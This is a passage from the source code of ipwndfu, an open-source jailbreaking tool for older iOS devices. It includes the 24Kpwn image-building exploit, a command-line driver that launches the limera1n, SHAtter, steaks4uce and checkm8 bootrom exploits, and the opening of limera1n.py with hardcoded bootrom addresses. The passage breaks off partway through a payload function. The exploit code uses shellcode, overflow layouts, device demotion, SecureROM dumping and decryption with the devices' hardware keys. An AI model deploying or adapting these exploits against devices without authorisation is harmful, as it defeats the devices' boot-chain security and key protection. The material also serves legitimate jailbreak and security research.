pos = 20
while pos < 20 + self.dataSize:
(tagMagic, tagTotalSize, tagDataSize) = struct.unpack('4s2I', data[pos:pos+12])
self.tags.append((tagMagic, tagTotalSize, tagDataSize, data[pos+12:pos+tagTotalSize]))
pos += tagTotalSize
if tagTotalSize == 0:
break
@staticmethod
def createImage3FromTags(type, tags):
dataSize = 0
signedSize = 0
for (tagMagic, tagTotalSize, tagDataSize, tagData) in tags:
dataSize += 12 + len(tagData)
if tagMagic[::-1] not in ['CERT', 'SHSH']:
signedSize += 12 + len(tagData)
# totalSize must be rounded up to 64-byte boundary
totalSize = 20 + dataSize
remainder = totalSize % 64
if remainder != 0:
totalSize += 64 - remainder
bytes = struct.pack('4s3I4s', 'Img3'[::-1], totalSize, dataSize, signedSize, type)
for (tagMagic, tagTotalSize, tagDataSize, tagData) in tags:
bytes += struct.pack('4s2I', tagMagic, tagTotalSize, tagDataSize) + tagData
return bytes + '\x00' * (totalSize - len(bytes))
def getTags(self, magic):
matches = []
for tag in self.tags:
if tag[0] == magic:
matches.append(tag)
return matches
def getKeybag(self):
keybags = self.getTags('KBAG'[::-1])
for (tagMagic, tagTotalSize, tagDataSize, tagData) in keybags:
(kbag_type, aes_type) = struct.unpack('<2I', tagData[:8])
if kbag_type == 1:
return tagData[8:8+48]
return None
def getPayload(self):
data = self.getTags('DATA'[::-1])
if len(data) == 1:
return data[0][3]
def getDecryptedPayload(self):
keybag = self.getKeybag()
device = dfuexec.PwnedDFUDevice()
decrypted_keybag = device.decrypt_keybag(keybag)
return utilities.aes_decrypt(self.getPayload(), binascii.hexlify(decrypted_keybag[:16]), binascii.hexlify(decrypted_keybag[16:]))
def shrink24KpwnCertificate(self):
for i in range(len(self.tags)):
tag = self.tags[i]
if tag[0] == 'CERT'[::-1] and len(tag[3]) >= 3072:
data = tag[3][:3072]
assert data[-1] == '\x00'
data = data.rstrip('\x00')
self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data)
break
def newImage3(self, decrypted=True):
typeTag = self.getTags('TYPE'[::-1])
assert len(typeTag) == 1
versTag = self.getTags('VERS'[::-1])
assert len(versTag) <= 1
dataTag = self.getTags('DATA'[::-1])
assert len(dataTag) == 1
sepoTag = self.getTags('SEPO'[::-1])
assert len(sepoTag) <= 2
bordTag = self.getTags('BORD'[::-1])
assert len(bordTag) <= 2
kbagTag = self.getTags('KBAG'[::-1])
assert len(kbagTag) <= 2
shshTag = self.getTags('SHSH'[::-1])
assert len(shshTag) <= 1
certTag = self.getTags('CERT'[::-1])
assert len(certTag) <= 1
(tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0]
if len(kbagTag) > 0 and decrypted:
newTagData = self.getDecryptedPayload()
kbagTag = []
else:
newTagData = tagData
assert len(tagData) == len(newTagData)
return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag)
================================================
FILE: image3_24Kpwn.py
================================================
# Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al.
import struct
import image3
def exploit(img3, securerom):
with open('bin/24Kpwn-shellcode.bin', 'rb') as f:
shellcode = f.read()
MAX_SHELLCODE_LENGTH = 1024
assert len(shellcode) <= MAX_SHELLCODE_LENGTH
# Check IMG3 constraints.
(img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20])
assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1]
assert total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12
assert data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]
PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12)
SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING)
STACK_ADDRESS = 0x84033EA4
img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \
+ struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \
+ struct.pack('<I4s2I64x4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12 + 64, 64, 'CERT'[::-1], 12, 0) \
+ struct.pack('<4s2I460sI48x', '24KP'[::-1], 12 + 512, 512, securerom[0xB000:0xB000 + 460], STACK_ADDRESS)
assert len(img3) == 0x24200
return img3
def remove_exploit(img3):
assert len(img3) > 0x24000
assert img3[16:20] == 'illb'[::-1]
obj = image3.Image3(img3)
if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea':
# This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address.
shellcode_address, = struct.unpack('<I', img3[64:68])
assert img3[52:56] == 'DATA'[::-1]
assert 0x84000000 <= shellcode_address and shellcode_address <= 0x84024000
# Try to find the correct value for the first dword.
found = False
for pos in xrange(shellcode_address - 0x84000000, len(img3)):
obj = image3.Image3(img3[:64] + img3[pos:pos + 4] + img3[68:])
if obj.getDecryptedPayload()[:4] == '\x0e\x00\x00\xea':
found = True
break
assert found
obj.shrink24KpwnCertificate()
img3 = obj.newImage3(decrypted=False)
assert len(img3) <= 0x24000
return img3
================================================
FILE: ipwndfu
================================================
#!/usr/bin/python
# ipwndfu: open-source jailbreaking tool for older iOS devices
# Author: axi0mX
import binascii, datetime, getopt, hashlib, struct, sys, time
import dfu, nor, utilities
import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec
from dfuexec import *
def print_help():
print 'USAGE: ipwndfu [options]'
print 'Interact with an iOS device in DFU Mode.\n'
print 'Basic options:'
print ' -p\t\t\t\tUSB exploit for pwned DFU Mode'
print ' -x\t\t\t\tinstall alloc8 exploit to NOR'
print ' -f file\t\t\tsend file to device in DFU Mode'
print 'Advanced options:'
print ' --demote\t\t\tdemote device to enable JTAG'
print ' --dump=address,length\t\tdump memory to stdout'
print ' --hexdump=address,length\thexdump memory to stdout'
print ' --dump-rom\t\t\tdump SecureROM'
print ' --dump-nor=file\t\tdump NOR to file'
print ' --flash-nor=file\t\tflash NOR (header and firmware only) from file'
print ' --24kpwn\t\t\tinstall 24Kpwn exploit to NOR'
print ' --remove-24kpwn\t\tremove 24Kpwn exploit from NOR'
print ' --remove-alloc8\t\tremove alloc8 exploit from NOR'
print ' --decrypt-gid=hexdata\t\tAES decrypt with GID key'
print ' --encrypt-gid=hexdata\t\tAES encrypt with GID key'
print ' --decrypt-uid=hexdata\t\tAES decrypt with UID key'
print ' --encrypt-uid=hexdata\t\tAES encrypt with UID key'
if __name__ == '__main__':
try:
advanced = ['demote', 'dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'encrypt-uid=']
opts, args = getopt.getopt(sys.argv[1:], 'pxf:', advanced)
except getopt.GetoptError:
print 'ERROR: Invalid arguments provided.'
print_help()
sys.exit(2)
if len(opts) == 0:
print_help()
sys.exit(2)
for opt, arg in opts:
if opt == '-p':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'CPID:8720' in serial_number:
steaks4uce.exploit()
elif 'CPID:8920' in serial_number:
limera1n.exploit()
elif 'CPID:8922' in serial_number:
limera1n.exploit()
elif 'CPID:8930' in serial_number:
SHAtter.exploit()
elif 'CPID:8947' in serial_number:
checkm8.exploit()
elif 'CPID:8950' in serial_number:
checkm8.exploit()
elif 'CPID:8955' in serial_number:
checkm8.exploit()
elif 'CPID:8960' in serial_number:
checkm8.exploit()
elif 'CPID:8002' in serial_number:
checkm8.exploit()
elif 'CPID:8004' in serial_number:
checkm8.exploit()
elif 'CPID:8010' in serial_number:
checkm8.exploit()
elif 'CPID:8011' in serial_number:
checkm8.exploit()
elif 'CPID:8015' in serial_number:
checkm8.exploit()
else:
print 'Found:', serial_number
print 'ERROR: This device is not supported.'
sys.exit(1)
if opt == '-x':
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
sys.exit(1)
if device.config.version == '359.3':
print 'WARNING: iPhone 3GS (old bootrom) was detected. Use 24Kpwn exploit for faster boots, alloc8 exploit is for testing purposes only.'
raw_input("Press ENTER to continue.")
print 'Installing alloc8 exploit to NOR.'
dump = device.nor_dump(saveBackup=True)
nor = nor.NorData(dump)
for byte in nor.parts[1]:
if byte != '\x00':
print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
sys.exit(1)
if len(nor.images) == 0 or len(nor.images[0]) < 0x24000:
print 'ERROR: 24Kpwn LLB was not found. You must restore a custom 24Kpwn IPSW before using this exploit.'
sys.exit(1)
print 'Preparing modified NOR with alloc8 exploit.'
# Remove 24Kpwn first.
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
new_nor = alloc8.exploit(nor, device.config.version)
device.flash_nor(new_nor.dump())
if opt == '-f':
try:
with open(arg, 'rb') as f:
data = f.read()
except IOError:
print 'ERROR: Could not read file:', arg
sys.exit(1)
device = dfu.acquire_device()
dfu.reset_counters(device)
dfu.send_data(device, data)
dfu.request_image_validation(device)
dfu.release_device(device)
if opt == '--demote':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
old_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)
print 'Demotion register: 0x%x' % old_value
if old_value & 1:
print 'Attempting to demote device.'
pwned.write_memory_uint32(pwned.platform.demotion_reg, old_value & 0xFFFFFFFE)
new_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)
print 'Demotion register: 0x%x' % new_value
if old_value != new_value:
print 'Success!'
else:
print 'Failed.'
else:
print 'WARNING: Device is already demoted.'
else:
print 'ERROR: Demotion is only supported on devices pwned with checkm8 exploit.'
sys.exit(1)
if opt == '--dump':
if arg.count(',') != 1:
print 'ERROR: You must provide exactly 2 comma separated values: address,length'
sys.exit(1)
raw_address, raw_length = arg.split(',')
address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)
length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
device = usbexec.PwnedUSBDevice()
sys.stdout.write(device.read_memory(address, length))
else:
device = PwnedDFUDevice()
print device.read_memory(address, length)
if opt == '--hexdump':
if arg.count(',') != 1:
print 'ERROR: You must provide exactly 2 comma separated values: address,length'
sys.exit(1)
raw_address, raw_length = arg.split(',')
address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)
length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
device = usbexec.PwnedUSBDevice()
dump = device.read_memory(address, length)
for line in utilities.hex_dump(dump, address).splitlines():
print '%x: %s' % (address, line[10:])
address += 16
else:
device = PwnedDFUDevice()
dump = device.read_memory(address, length)
print utilities.hex_dump(dump, address),
if opt == '--dump-rom':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
securerom = pwned.read_memory(pwned.platform.rom_base, pwned.platform.rom_size)
if hashlib.sha1(securerom).hexdigest() != pwned.platform.rom_sha1:
print hashlib.sha1(securerom).hexdigest()
print 'ERROR: SecureROM was dumped, but the SHA1 hash does not match. Exiting.'
sys.exit(1)
chip = securerom[0x200:0x240].split(' ')[2][:-1]
kind = securerom[0x240:0x280].split('\0')[0]
version = securerom[0x280:0x2C0].split('\0')[0][6:]
filename = 'SecureROM-%s-%s-%s.dump' % (chip, version, kind)
with open(filename, 'wb') as f:
f.write(securerom)
print 'Saved:', filename
else:
device = PwnedDFUDevice()
securerom = device.securerom_dump()
filename = 'SecureROM-%s-RELEASE.dump' % device.config.version
f = open(filename, 'wb')
f.write(securerom)
f.close()
print 'SecureROM dumped to file:', filename
if opt == '--dump-nor':
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. Dumping NOR is only supported on iPhone 3GS.'
sys.exit(1)
nor = device.nor_dump(saveBackup=False)
f = open(arg, 'wb')
f.write(nor)
f.close()
print 'NOR dumped to file: %s' % arg
if opt == '--flash-nor':
print 'Flashing NOR from file:', arg
f = open(arg, 'rb')
new_nor = f.read()
f.close()
if new_nor[:4] != 'IMG2'[::-1]:
print 'ERROR: Bad IMG2 header magic. This is not a valid NOR. Exiting.'
sys.exit(1)
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. Flashing NOR is only supported on iPhone 3GS.'
sys.exit(1)
device.nor_dump(saveBackup=True)
device.flash_nor(new_nor)
if opt == '--24kpwn':
print '*** based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. ***'
device = PwnedDFUDevice()
if device.config.version != '359.3':
print 'Only iPhone 3GS (old bootrom) is supported.'
sys.exit(1)
dump = device.nor_dump(saveBackup=True)
print 'Preparing modified NOR with 24Kpwn exploit.'
nor = nor.NorData(dump)
for byte in nor.parts[1]:
if byte != '\x00':
print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
sys.exit(1)
if len(nor.images) == 0:
print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'
sys.exit(1)
# Remove existing 24Kpwn exploit.
if len(nor.images[0]) > 0x24000:
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
device.flash_nor(nor.dump())
if opt == '--remove-24kpwn':
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'
sys.exit(1)
print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
raw_input("Press ENTER to continue.")
dump = device.nor_dump(saveBackup=True)
nor = nor.NorData(dump)
if len(nor.images) == 0:
print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'
sys.exit(1)
if len(nor.images[0]) <= 0x24000:
print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'
sys.exit(1)
print 'Preparing modified NOR without 24Kpwn exploit.'
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
device.flash_nor(nor.dump())
if opt == '--remove-alloc8':
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
sys.exit(1)
print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
raw_input("Press ENTER to continue.")
dump = device.nor_dump(saveBackup=True)
nor = nor.NorData(dump)
if len(nor.images) < 700:
print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'
sys.exit(1)
print 'Preparing modified NOR without alloc8 exploit.'
new_nor = alloc8.remove_exploit(nor)
device.flash_nor(new_nor.dump())
if opt == '--decrypt-gid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Decrypting with %s GID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_GID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Decrypting with S5L%s GID key.' % device.config.cpid
print device.aes_hex(arg, AES_DECRYPT, AES_GID_KEY)
if opt == '--encrypt-gid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Encrypting with %s GID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_GID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Encrypting with S5L%s GID key.' % device.config.cpid
print device.aes_hex(arg, AES_ENCRYPT, AES_GID_KEY)
if opt == '--decrypt-uid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Decrypting with %s device-specific UID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_UID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Decrypting with device-specific UID key.'
print device.aes_hex(arg, AES_DECRYPT, AES_UID_KEY)
if opt == '--encrypt-uid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Encrypting with %s device-specific UID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_UID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Encrypting with device-specific UID key.'
print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY)
================================================
FILE: ipwnrecovery
================================================
#!/usr/bin/python
# ipwnrecovery: open-source jailbreaking tool for older iOS devices
# Author: axi0mX
import getopt, sys
import usb # pyusb: use 'pip install pyusb' to install this module
import recovery
def print_help():
print 'USAGE: ipwnrecovery [options]'
print 'Interact with an iOS device in Recovery Mode.\n'
print 'Basic options:'
print ' -c cmd\t\t\trun command on device'
print ' -f file\t\t\tsend file to device in Recovery Mode'
print 'Advanced options:'
print ' --enable-uart\t\t\tset debug-uarts to 3 and reboot device'
print ' --exit-recovery-loop\t\tenable auto-boot and reboot device'
if __name__ == '__main__':
try:
advanced = ['exit-recovery-loop', 'enable-uart']
opts, args = getopt.getopt(sys.argv[1:], 'c:f:', advanced)
except getopt.GetoptError:
print 'ERROR: Invalid arguments provided.'
print_help()
sys.exit(2)
if len(opts) == 0:
print_help()
sys.exit(2)
for opt, arg in opts:
if opt == '-c':
device = recovery.acquire_device()
try:
recovery.send_command(device, arg)
except usb.core.USBError:
print 'WARNING: Caught USBError after running command.'
recovery.release_device(device)
if opt == '-f':
try:
with open(arg, 'rb') as f:
data = f.read()
except IOError:
print 'ERROR: Could not read file:', arg
sys.exit(1)
device = recovery.acquire_device()
recovery.send_data(device, data)
recovery.release_device(device)
if opt == '--exit-recovery-loop':
device = recovery.acquire_device()
# TODO: getenv auto-boot first and fail if it is already true.
recovery.send_command(device, 'setenv auto-boot true')
recovery.send_command(device, 'saveenv')
try:
recovery.send_command(device, 'reboot')
except usb.core.USBError:
# OK: this is expected when rebooting
pass
recovery.release_device(device)
if opt == '--enable-uart':
device = recovery.acquire_device()
# TODO: getenv debug-uarts first and fail if it is already 3.
recovery.send_command(device, 'setenv debug-uarts 3')
recovery.send_command(device, 'saveenv')
try:
recovery.send_command(device, 'reboot')
except usb.core.USBError:
# OK: this is expected when rebooting
pass
recovery.release_device(device)
================================================
FILE: libusbfinder/__init__.py
================================================
import hashlib, os, platform, cStringIO, tarfile
class VersionConfig:
def __init__(self, version, bottle, bottle_sha256, dylib_patches, dylib_sha256):
self.version = version
self.bottle = bottle
self.bottle_sha256 = bottle_sha256
self.dylib_patches = dylib_patches
self.dylib_sha256 = dylib_sha256
configs = [
VersionConfig(
version='10.14',
bottle='libusb-1.0.22.mojave.bottle',
bottle_sha256='6accd1dfe6e66c30aac825ad674e9c7a48b752bcf84561e9e2d397ce188504ff',
dylib_patches=[(0x8fd1, 'E985000000'.decode('hex'))],
dylib_sha256='34d4c0ca821a31f83f3860575f9683cdb8fc5cbd4167383eedfb8b2ba7f7d9d5'),
VersionConfig(
version='10.13',
bottle='libusb-1.0.22.high_sierra.bottle',
bottle_sha256='7b1fd86a5129620d1bbf048c68c7742ecad450de138b8186bf8e985a752b2302',
dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],
dylib_sha256='7bd48a3a9955fc20752433f944f61d58d5ec9b68d25dcfab1671f3c82339c4f8'),
VersionConfig(
version='10.12',
bottle='libusb-1.0.22.sierra.bottle',
bottle_sha256='7f2b65d09525c432a86e46699a1448bab36503f45f16d6e0d8f42be6b1ef55cf',
dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],
dylib_sha256='0d386845a96fa0457cb6c200f956c9b0d5f236729ef1e2cff34cd312f8cfc7ba'),
VersionConfig(
version='10.11',
bottle='libusb-1.0.22.el_capitan.bottle',
bottle_sha256='33575c9f56bc0d57bf985a21e40be019d5c269b432939416be8f24c5921bbb28',
dylib_patches=[(0x9917, 'E956010000'.decode('hex'))],
dylib_sha256='7ae848e0e8730bf8de48bb534a8ee42eb301a2f6ba6cc188228ce8bf79a6ba07'),
VersionConfig(
version='10.10',
bottle='libusb-1.0.21.yosemite.bottle',
bottle_sha256='8831059f7585ed973d983dd82995e1732c240a78f4f7a82e5d5c7dfe27d49941',
dylib_patches=[],
dylib_sha256='8e89265251d119f3422a760cf3472ecc46b7c3d22598600905dd5595a1ec146a'),
VersionConfig(
version='10.9',
bottle='libusb-1.0.20.mavericks.bottle.1',
bottle_sha256='5a475e2ca93886e51b994d1ea323e915c91d8463e5b23b45203acb69edf69981',
dylib_patches=[],
dylib_sha256='8f21fc0af0c7b04e7db988e1fc66ea9dbc31289096c68416140152d70138c316'),
VersionConfig(
version='10.8',
bottle='libusb-1.0.19.mountain_lion.bottle.1',
bottle_sha256='d5c4bd99b359a8319d49e06b6b13fc529f91a5bd61ce5a8ff14c291b44b676da',
dylib_patches=[],
dylib_sha256='0490800ca9ff82d37c310a09f9bd29aaa87143cf86b35d94b170617ec9d127bb'),
]
dir = os.path.dirname(__file__)
BOTTLE_PATH_FORMAT = os.path.join(dir, 'bottles', '%s.tar.gz')
DYLIB_PATH_FORMAT = os.path.join(dir, '%s.dylib')
DYLIB_NAME = 'libusb-1.0.0.dylib'
def apply_patches(binary, patches):
for (offset, data) in patches:
binary = binary[:offset] + data + binary[offset + len(data):]
return binary
def libusb1_path_internal():
version = platform.mac_ver()[0]
# HACK to support macOS 10.15
if version == '10.15':
version = '10.14'
if version == '':
# We're not running on a Mac.
return None
for config in configs:
if version.startswith(config.version):
path = DYLIB_PATH_FORMAT % config.bottle
try:
f = open(path, 'rb')
dylib = f.read()
f.close()
if hashlib.sha256(dylib).hexdigest() == config.dylib_sha256:
return path
print 'WARNING: SHA256 hash of existing dylib does not match.'
except IOError:
pass
f = open(BOTTLE_PATH_FORMAT % config.bottle, 'rb')
bottle = f.read()
f.close()
if hashlib.sha256(bottle).hexdigest() != config.bottle_sha256:
print 'ERROR: SHA256 hash of bottle does not match.'
sys.exit(1)
tar = tarfile.open(fileobj=cStringIO.StringIO(bottle))
for member in tar.getmembers():
if member.name.endswith(DYLIB_NAME):
patched_dylib = apply_patches(tar.extractfile(member.name).read(), config.dylib_patches)
if hashlib.sha256(patched_dylib).hexdigest() != config.dylib_sha256:
print 'ERROR: SHA256 hash of new dylib does not match.'
sys.exit(1)
f = open(path, 'wb')
f.write(patched_dylib)
f.close()
return path
# No match found.
return None
cached_path = libusb1_path_internal()
def libusb1_path():
return cached_path
================================================
FILE: limera1n.py
================================================
# Credit: This file is based on limera1n exploit (heap overflow) by geohot.
import array, ctypes, struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu
# Must be global so garbage collector never frees it
request = None
transfer_ptr = None
constants_359_3 = [
0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x83d4, # 3 - memmove
0x84034000, # 4 - MAIN_STACK_ADDRESS
0x43c9, # 5 - nor_power_on
0x5ded, # 6 - nor_init
0x84024820, # 7 - gUSBSerialNumber
0x8e7d, # 8 - strlcat
0x349d, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x24000, # 11 - MAX_SIZE
0x84024228, # 12 - gLeakingDFUBuffer
0x1ccd, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x1f79, # 15 - memz_create
0x3969, # 16 - jump_to
0x1fa1, # 17 - memz_destroy
0x60, # 18 - IMAGE3_LOAD_SP_OFFSET
0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x1fe5, # 20 - image3_create_struct
0x2655, # 21 - image3_load_continue
0x277b, # 22 - image3_load_fail
]
constants_359_3_2 = [
0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x83dc, # 3 - memmove
0x84034000, # 4 - MAIN_STACK_ADDRESS
0x43d1, # 5 - nor_power_on
0x5df5, # 6 - nor_init
0x84024820, # 7 - gUSBSerialNumber
0x8e85, # 8 - strlcat
0x34a5, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x24000, # 11 - MAX_SIZE
0x84024228, # 12 - gLeakingDFUBuffer
0x1ccd, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x1f81, # 15 - memz_create
0x3971, # 16 - jump_to
0x1fa9, # 17 - memz_destroy
0x60, # 18 - IMAGE3_LOAD_SP_OFFSET
0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x1fed, # 20 - image3_create_struct
0x265d, # 21 - image3_load_continue
0x2783, # 22 - image3_load_fail
]
constants_359_5 = [
0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x8564, # 3 - memmove
0x84034000, # 4 - MAIN_STACK_ADDRESS
0x43b9, # 5 - nor_power_on
0x5f75, # 6 - nor_init
0x84024750, # 7 - gUSBSerialNumber
0x901d, # 8 - strlcat
0x36e5, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x24000, # 11 - MAX_SIZE
0x84024158, # 12 - gLeakingDFUBuffer
0x1a51, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x1f25, # 15 - memz_create
0x39dd, # 16 - jump_to
0x1f0d, # 17 - memz_destroy
0x64, # 18 - IMAGE3_LOAD_SP_OFFSET
0x60, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x2113, # 20 - image3_create_struct
0x2665, # 21 - image3_load_continue
0x276d, # 22 - image3_load_fail
]
constants_574_4 = [
0x84039800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x84dc, # 3 - memmove
0x8403c000, # 4 - MAIN_STACK_ADDRESS
0x4e8d, # 5 - nor_power_on
0x690d, # 6 - nor_init
0x8402e0e0, # 7 - gUSBSerialNumber
0x90c9, # 8 - strlcat
0x4c85, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x2c000, # 11 - MAX_SIZE
0x8402dbcc, # 12 - gLeakingDFUBuffer
0x3b95, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x7469, # 15 - memz_create
0x5a5d, # 16 - jump_to
0x7451, # 17 - memz_destroy
0x68, # 18 - IMAGE3_LOAD_SP_OFFSET
0x64, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x412d, # 20 - image3_create_struct
0x46db, # 21 - image3_load_continue
0x47db, # 22 - image3_load_fail
]
class DeviceConfig:
def __init__(self, version, cpid, exploit_lr, max_size, constants):
self.version = version
self.cpid = cpid
self.exploit_lr = exploit_lr
self.max_size = max_size
self.constants = constants
configs = [
DeviceConfig('359.3', '8920', 0x84033FA4, 0x24000, constants_359_3), # S5L8920 (old bootrom)
DeviceConfig('359.3.2', '8920', 0x84033FA4, 0x24000, constants_359_3_2), # S5L8920 (new bootrom)
DeviceConfig('359.5', '8922', 0x84033F98, 0x24000, constants_359_5), # S5L8922
DeviceConfig('574.4', '8930', 0x8403BF9C, 0x2C000, constants_574_4), # S5L8930
]
def create_control_transfer(device, request, timeout):
ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
assert ptr is not None
transfer = ptr.contents
transfer.dev_handle = device._ctx.handle.handle
transfer.endpoint = 0 # EP0
transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
transfer.timeout = timeout
transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
transfer.length = len(request)
transfer.user_data = None
transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER
return ptr
def limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
if usb.backend.libusb1._lib is not device._ctx.backend.lib:
print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
sys.exit(1)
request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)
transfer_ptr = create_control_transfer(device, request, timeout)
assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0
time.sleep(timeout / 1000.0)
# Prototype of libusb_cancel_transfer is missing from pyusb
usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]
assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0
def generate_payload(constants, exploit_lr):
